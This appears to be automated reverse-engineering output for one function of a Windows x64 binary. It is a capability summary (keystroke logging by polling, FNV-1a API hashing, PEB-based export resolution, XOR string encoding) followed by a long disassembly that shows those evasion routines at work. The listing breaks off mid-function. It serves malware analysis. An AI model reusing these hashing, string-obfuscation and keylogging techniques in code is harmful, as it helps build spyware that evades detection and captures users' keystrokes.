Function at 0x140014420
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5830]
mov eax, 0x5930
call fcn.140081660
sub rsp, rax
movaps xmmword [rsp + 0x5920], xmm6
movaps xmmword [rsp + 0x5910], xmm7
movaps xmmword [rsp + 0x5900], xmm8
mov rax, qword [0x1400aff80]
xor rax, rsp
mov qword [rbp + 0x57f0], rax
mov ebx, 5
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14000fe60]
lea rcx, [rbp + 0x168]
call fcn.1400015c0
nop
mov rcx, rax
call fcn.1400097b0
nop
cmp dword [rbp + 0x170], 0
jne 0x14001cd78
mov byte [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014556
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014556
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014551
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014530
cmp r8d, 0x9a9264ad
je 0x14001455b
test r9d, r9d
jne 0x140014510
mov rax, qword [rax]
jmp 0x1400144e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call rdx
lea rcx, [0x1400b0800]
call fcn.14002a110
cmp byte [0x1400b0a10], 0
jne 0x140014aea
movups xmm0, xmmword [0x140085490]
movups xmmword [rbp + 0x48], xmm0
mov eax, dword [0x1400854a0]
mov dword [rbp + 0x58], eax
movzx eax, byte [0x1400854a4]
mov byte [rbp + 0x5c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014641
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014620
cmp r8d, 0xe76fb4aa
je 0x14001464b
test r9d, r9d
jne 0x140014600
mov rax, qword [rax]
jmp 0x1400145d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r15d, r15d
mov r8d, r15d
lea edi, [r15 + 0x1f]
lea r13d, [r15 + 4]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x1400147c3
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, edi
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400146c0
cmp r8d, 0x15
jge 0x140014800
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400147d0
lea rcx, [rbp + 0x48]
call r11
movups xmm0, xmmword [str.qAYR]
movups xmmword [rbp + 0xe8], xmm0
movsd xmm0, qword [0x1400854b8]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [0x1400854c0]
mov dword [rbp + 0x100], eax
cmp byte [0x1400854c3], r15b
je 0x1400149d0
cmp ebx, 2
jl 0x140014987
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, edi
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xec]
mov edx, dword [rsp + 0x40]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x18
jl 0x140014882
cmp eax, 0x1c
jge 0x1400149d0
movsxd rax, r15d
lea r8, [rbp + 0xe8]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r15b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x1c
jl 0x1400149a0
lea rdx, [rbp + 0xe8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
lea rdx, [0x140002c10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014a86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014a86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014a81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014a60
cmp r8d, 0x2fa62ca8
je 0x140014a8b
test r9d, r9d
jne 0x140014a40
mov rax, qword [rax]
jmp 0x140014a10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x7d0
call rax
xor eax, eax
mov rcx, qword [rbp + 0x57f0]
xor rcx, rsp
call fcn.1400816c0
lea r11, [rsp + 0x5930]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x1400b0800]
call fcn.140026d20
lea rcx, [0x1400b0800]
call fcn.140026d20
xor r15d, r15d
lea r13d, [r15 + 4]
lea r14d, [r15 + 0x1f]
mov r12d, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x140014ff6
movups xmm0, xmmword [0x1400854c8]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x1400854d8]
mov dword [rbp + 0x40], eax
movzx eax, byte [0x1400854dc]
mov byte [rbp + 0x44], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014bc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014bc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014bc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014ba0
cmp r8d, 0xe76fb4aa
je 0x140014bcb
test r9d, r9d
jne 0x140014b80
mov rax, qword [rax]
jmp 0x140014b50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140014d33
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014c30
cmp r8d, 0x15
jge 0x140014d70
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140014d40
lea rcx, [rbp + 0x30]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x1400854e0]
movups xmmword [rbp + 0xb0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140014f30
cmp r12d, 2
jl 0x140014eed
movdqa xmm5, xmmword [0x1400859c0]
mov edx, r15d
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140014df0
jmp 0x140014f30
lea r9, [rbp + 0xb0]
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140014f00
lea rdx, [rbp + 0xb0]
mov rcx, r10
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014fd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014fd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014fd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014fb0
cmp r8d, 0xcded1a85
je 0x140014fdb
test r9d, r9d
jne 0x140014f90
mov rax, qword [rax]
jmp 0x140014f60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [0x1400b0800]
call fcn.140026060
mov eax, dword [0x1400854f0]
mov dword [rsp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015091
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015070
cmp r8d, 0x491e0a9c
je 0x14001509b
test r9d, r9d
jne 0x140015050
mov rax, qword [rax]
jmp 0x140015020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140015145
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsp + 0x70]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
jmp 0x14001517f
lea r9, [rsp + 0x70]
mov r8d, r15d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140015150
lea rcx, [rsp + 0x70]
call r11
movups xmm0, xmmword [0x1400854f8]
movups xmmword [rbp + 0x18], xmm0
mov eax, dword [0x140085508]
mov dword [rbp + 0x28], eax
movzx eax, byte [0x14008550c]
mov byte [rbp + 0x2c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015236
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015236
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015231
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015210
cmp r8d, 0xe76fb4aa
je 0x14001523b
test r9d, r9d
jne 0x1400151f0
mov rax, qword [rax]
jmp 0x1400151c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x1400153a3
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400152a0
cmp r8d, 0x15
jge 0x1400153e0
movsxd rax, r8d
lea r9, [rbp + 0x18]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400153b0
lea rcx, [rbp + 0x18]
call r11
mov eax, dword [str.12_44H]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140085524]
mov word [rbp - 0x54], ax
movzx eax, byte [0x140085526]
movups xmm0, xmmword [0x140085510]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x52], al
movups xmmword [rbp - 0x68], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140015563
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015460
cmp r8d, 0x17
jge 0x1400155a0
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140015570
lea rdx, [rbp - 0x68]
mov rcx, r10
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
